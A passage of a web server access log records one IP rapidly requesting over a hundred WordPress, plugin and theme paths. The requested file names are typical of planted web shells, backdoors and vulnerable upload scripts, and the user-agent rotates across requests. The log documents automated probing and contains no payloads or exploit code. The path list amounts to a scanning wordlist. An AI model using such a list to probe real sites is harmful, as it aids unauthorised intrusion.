rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:57 -0400] "GET /wp-includes/block-patterns/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.38 - - [29/Apr/2025:14:52:57 -0400] "GET /test/aaaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:58 -0400] "GET /wp-includes/css/dist/edit-site/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:58 -0400] "GET /wp-admin/includes/taxonomy-compiler.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:58 -0400] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:58 -0400] "GET /wp-admin/maint/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:58 -0400] "GET /wp-includes/images/wlwmod_popular.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.38 - - [29/Apr/2025:14:52:59 -0400] "GET /wp-includes/IXR/class-IXR-requests.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:52:59 -0400] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.38 - - [29/Apr/2025:14:52:59 -0400] "GET /wp-admin/css/colors/blue/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.38 - - [29/Apr/2025:14:52:59 -0400] "GET /images/2008.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.38 - - [29/Apr/2025:14:52:59 -0400] "GET /wp-includes/PHPMailer/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:59 -0400] "GET /wp-admin/css/colors/blue/hizuka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.38 - - [29/Apr/2025:14:53:00 -0400] "GET /.well-known/deposit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:53:00 -0400] "GET /wp-content/uploads/lndex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:00 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:53:00 -0400] "GET /wp-admin/maint/yes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:00 -0400] "GET /wp-includes/pomo/mpvloi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:00 -0400] "GET /wp-admin/images/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:00 -0400] "GET /wp-admin/includes/media.php.INFECTED.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:53:01 -0400] "GET /wp-includes/block-bindings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:01 -0400] "GET /wp-admin/css/colors/ectoplasm/str_shuffcle.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:01 -0400] "GET /files/css_compare.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.38 - - [29/Apr/2025:14:53:01 -0400] "GET /wp-includes/0.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.38 - - [29/Apr/2025:14:53:02 -0400] "GET /wp-admin/includes/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:02 -0400] "GET /wp-includes/prayer_intentions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:53:02 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:02 -0400] "GET /wp-admin/css/OK.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:02 -0400] "GET /wp-admin/maint/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:02 -0400] "GET /wp-admin/css/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:03 -0400] "GET /wp-includes/Text/Diff/Renderer/last.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:03 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:03 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:03 -0400] "GET /wp-includes/widgets/hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:03 -0400] "GET /wp-includes/wp-admin-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:03 -0400] "GET /wp-includes/Text/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:04 -0400] "GET /wp-admin/images/searchl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:53:04 -0400] "GET /wp-content/uploads/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:53:04 -0400] "GET /wp-includes/PHPMailer/brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:04 -0400] "GET /wp-includes/widgets/class-wp-widget-media-audio-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:04 -0400] "GET /wp-admin/includes/class-wp-pagebuilders-3bv4aS.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.38 - - [29/Apr/2025:14:53:05 -0400] "GET /wp-includes/ID3/favicon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.38 - - [29/Apr/2025:14:53:05 -0400] "GET /wp-includes/js/codemirror/87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:05 -0400] "GET /wp-includes/block-template-utils.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:05 -0400] "GET /wp-includes/fonts/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:06 -0400] "GET /wp-admin/maint/smile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:06 -0400] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:53:06 -0400] "GET /images/architect.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.38 - - [29/Apr/2025:14:53:06 -0400] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:07 -0400] "GET /wp-includes/link-template-git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:07 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:07 -0400] "GET /xcvdadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:07 -0400] "GET /wp-content/themes/pridmag/1.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:53:08 -0400] "GET /wp-admin/admin-ajax.php?action=etimeclockwp_load_function HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:08 -0400] "GET /alfadheat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:53:08 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:08 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:08 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.38 - - [29/Apr/2025:14:53:09 -0400] "GET /top.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:09 -0400] "GET /wp-content/plugins/cherry-plugin/admin/import-export/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.38 - - [29/Apr/2025:14:53:09 -0400] "GET /wp-content/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:53:09 -0400] "GET /wp-content/plugins/aviary-image-editor-add-on-for-gravity-forms/includes/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:09 -0400] "GET /roundcube/static/common/user/uedit/php/controller.php?action=catchimage HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.38 - - [29/Apr/2025:14:53:10 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:10 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:10 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:10 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:10 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:10 -0400] "GET /wp-admin/css/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:53:11 -0400] "GET /wp-admin/js/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:53:11 -0400] "GET /wp-includes/rest-api/search/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:11 -0400] "GET /wp-class-inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:11 -0400] "GET /wp-content/view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:53:11 -0400] "GET /js/kcfinder/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:12 -0400] "GET /files/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:12 -0400] "GET /wp-content/uploads/2014/06/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.38 - - [29/Apr/2025:14:53:12 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:13 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:13 -0400] "GET /assets/library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:53:13 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.38 - - [29/Apr/2025:14:53:13 -0400] "GET /templates/beez3/jsstrings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.38 - - [29/Apr/2025:14:53:13 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:14 -0400] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:53:14 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:14 -0400] "GET /wp-includes/fonts/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:14 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:15 -0400] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:15 -0400] "GET /product-category/gaming/page/2/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:53:15 -0400] "GET /request-quote/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:15 -0400] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:16 -0400] "GET /wp-content/themes/fing/uph.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.38 - - [29/Apr/2025:14:53:16 -0400] "GET /wp-content/themes/twentytwentythree/templates/blog-alternative.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:16 -0400] "GET /wp-content/themes/twentytwentyfour/assets/css/button-outline.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:16 -0400] "GET /wp-includes/widgets/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:16 -0400] "GET /wp-admin/css/color/blue/maintenence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:17 -0400] "GET /wp-content/themes/extol/settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:17 -0400] "GET /wp-content/themes/digital-download/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:17 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:17 -0400] "GET /wp-includes/class-wp-simple-js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:18 -0400] "GET /wp-includes/room.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:18 -0400] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:18 -0400] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:18 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:18 -0400] "GET /wp-includes/id3/license.txt/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.38 - - [29/Apr/2025:14:53:19 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519-items.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:19 -0400] "GET /menusystem32.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:19 -0400] "GET /wp-admin/images/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.38 - - [29/Apr/2025:14:53:19 -0400] "GET /wp-includes/fonts/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:20 -0400] "GET /wp-includes/ID3/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:20 -0400] "GET /wp-admin/css/colors/ectoplasm/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; 